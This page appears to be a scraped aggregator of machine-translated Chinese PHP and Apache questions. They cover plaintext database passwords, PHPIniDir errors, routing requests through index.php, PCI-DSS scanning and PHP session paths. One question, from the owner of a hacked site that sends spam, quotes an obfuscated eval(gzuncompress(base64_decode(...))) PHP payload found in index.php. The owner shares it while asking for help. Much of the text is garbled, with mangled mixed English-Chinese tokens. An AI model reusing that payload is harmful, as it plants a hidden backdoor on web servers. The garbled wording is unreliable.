Articles of PHP

Config.php文件有纯文本的Mysql密码,这是明智的吗?

标题基本上说这一切,安装我的客户购买的CRM产品/前端(SugarCRM)时创build的默认config.php文件有以纯文本存储的MySQL数据库用户的密码? 有什么好的方法来encryption密码本身,所以它不只是坐在那里易于阅读的文件? 还是只是一个问题,如果有人已经访问该文件,那么你已经在一堆麻烦,因为他们已经在你的系统? 只是想知道这种情况下的最佳实践可能是什么?

为什么我的PHP安装不能在Windows XP上被Apache识别?

我已经完成了http://www.ricocheting.com/server/php.html中给出的安装PHP和Apache的程序。 当我启动Apache服务器时,显示“invalid command PHPIniDir”。 我该如何解决这个问题? 我想学习PHP。 当我开始安装时,我遇到了这个问题。 编辑Apache Conf文件 使用记事本打开httpd.conf(应该是开始菜单快捷方式“Apache HTTP Server 2.2>configurationApache服务器>编辑Apache httpd.confconfiguration文件”)。 在文件的开头或结尾添加下列行:(注意:一定要将C:/ php部分更改为您安装PHP的目录) LoadModule php5_module "C:/php/php5apache2_2.dll" AddType application/x-httpd-php .php PHPIniDir "C:/php"

configurationApache以通过单个index.php处理所有请求

我inheritance了丑陋的一块PHP,必须通过单个index.php处理所有请求。 index.php使用聪明的embedded式商业逻辑根据明智的url生成不同的网页。 我如何configurationapache2 / php5通过index.php处理所有请求? 更新:有没有其他的mod-rewrite在这里使用?

PHP webmail客户端,但哪个服务器?

我们必须为我们的一个客户开发一个networking邮件客户端,我们正在寻找一个我们可以使用的电子邮件服务器,可能能够与PHP接口。 我们很可能会使用Apache来托pipeUbuntu服务器版本,但显然,编写服务器本身将重新发明轮子,我们不惜一切代价避免这种情况。 任何人都可以推荐一个电子邮件服务器,我们可以使用,可能由Ubuntu的命令行pipe理? 我们不希望电子邮件服务器与自己的用户界面太紧密地结合在一起,因为我们甚至可能希望在networking邮件应用程序中为服务器添加pipe理function。

PCI-DSS合规性

我们正在开发一个新的软件(实际上只是一个单一的PHP脚本),收集持卡人信息并将其存储在MySQL数据库中。 显然,我们正在采取一切安全措施(防火墙,防病毒,SELinux,限制性访问机器),但我们正试图了解在采取何种措施之前我们需要采取的措施。 由于客户是第四级商户(没有实际的交易,只是存储持卡人信息),我们需要出去找什么扫描? 很明显,我们需要扫描服务器/ IP,但是PHP脚本收集数据呢?

运行生产WAMP

我正在构build一个新的Windows Server 2008 R2安装来托pipe我的Joomla! 1.6网站。 托pipeWAMP生产服务器的最佳实践是什么? 我应该怎么做分区? 日志驱动器,操作系统驱动器和数据驱动器? 什么是最理想和安全的设置?

网站被黑客攻击,每天从我的网站发送超过400封电子邮件

可能重复: 我的服务器被黑了应急 所以基本上我的网站被黑客攻击,一个脚本每天发送超过400封电子邮件。 我有超过100个文件在服务器上,有没有什么快速的方法来检查,从哪个文件确切地发送? 我不知道脚本何时发送邮件,所以我不能确定从哪个文件中调用。 有没有简单的方法来找出从哪个文件发送? eval(gzuncompress(base64_decode('eF6Nkw9rozAYxr+Kk6EGyuh2f+CQcFdW297h7BZ17ChDokbNNZpi4na70u9+0WvXdnfFA8Hk5fc8Sd4noZl1RoUg0joXiMj6BYB1zniMmbYt2Ns/vFSjUJB6lJNKQiFryRl/JrV1HvkOunfQwpwFwW0Uqlk0mjpeYD4CpZHXTc1muEoZgV7ouruSS6sl1HWbZpal3NRnHSwwMHPOc0ZMAKGWYSYIMIx/ci+44LwfizFNm36sFFU/xFekxv1YUtS8/I8TxLTK+ymBM1zTfi7m8gACa9XfbcKvOSHnZh440Wg8Riojxcq6IZphaG/BLtDZ3A/2GFgf5hdjQT6+j1KS8JRYJp6hYTLmT+7VZJmW9z/iqw8lfvgm3dJ7iv1Pv9LpZOi+84bfH+6aZFo8m0C7MD/TFTS1C2VJqs7m1EYVazTqoLi7gceSfQc6LOUlplWFS3LK+vBorSJrGFthWZzeyl3o+EEUoq9bRVKQZNniu65NnWBhMs6Xf1/8RA0jWtH2nb12D9ibjUrniNTOVJ/bZwLWnUY585U8ZgbXIXLnt0GEnCBEXoBGnj9x0OASdI9VNEzCL52a/CTJsRbY3Yp/qMXwEUJ9rreZ7iu6ptskKbi2K9qbzixhXJC3bpvNbzILaXQ='))); ?> 这在index.php文件中find 我的网站使用的是CakePHP,那么默认情况下它可以在那里?

你能在Linux上创build一个自包含的应用程序包(类似于灯)吗?

我不完全确定这是否可行,但基本上我正在寻找如何进行下列工作的build议: 我运行一个服务器监视服务,并在一分钟内运行一个推送机制 – 每个服务器每分钟运行一次cronjob,将相关数据发布到我们的API服务器,然后处理数据。 我正在寻找的是一个小型的自包含应用程序,将运行在每个服务器上,并监听某个端口(例如8282)。 理想情况下,我希望使用PHP的Apache实例以及文档根中的一些自定义PHP脚本。 有没有办法可以将这些应用程序打包在一起,而无需单独安装库和应用程序。 我不介意为不同版本的Linux创build单独的软件包。 谢谢, 李。 编辑:只是澄清,我可能过于复杂这个问题相当严重。 从本质上来说,我是想问是否有一个独立的HTTP服务器,内置PHP支持。 抱歉的混淆。

Debian上的Apache httpd脱机安装

如何在Debian Linux发行版上脱机安装Apache HTTPD? 在这种情况下,我在这台机器上根本没有互联网接入,所以我正在寻找Apache Httpd的二进制发行版,并且找不到任何东西。 我将需要启用php5支持和PHP的PostgreSQL支持。 这里有没有人知道我可以使用这些包的任何二进制分发? 我试过Xamppp,但它只适用于32位机器,所以现在没有问题了。

PHP应该在哪里写会话?

刚刚在Centos 6.4上安装了PHP 5.4,使用Apache 2.2 VPS,并且收到一个拒绝打开会话权限的错误。 php.ini显示session.save_path = "/var/lib/php/session" 。 我是否使/var/lib/php/session权限0777? 或者让Apache运行一个给定的用户,然后把这个用户权限给/var/lib/php/session 。 我记得在过去改变会话path/tmp ,并想知道这是一个更好的策略。 我应该在哪里设置PHP来写会话?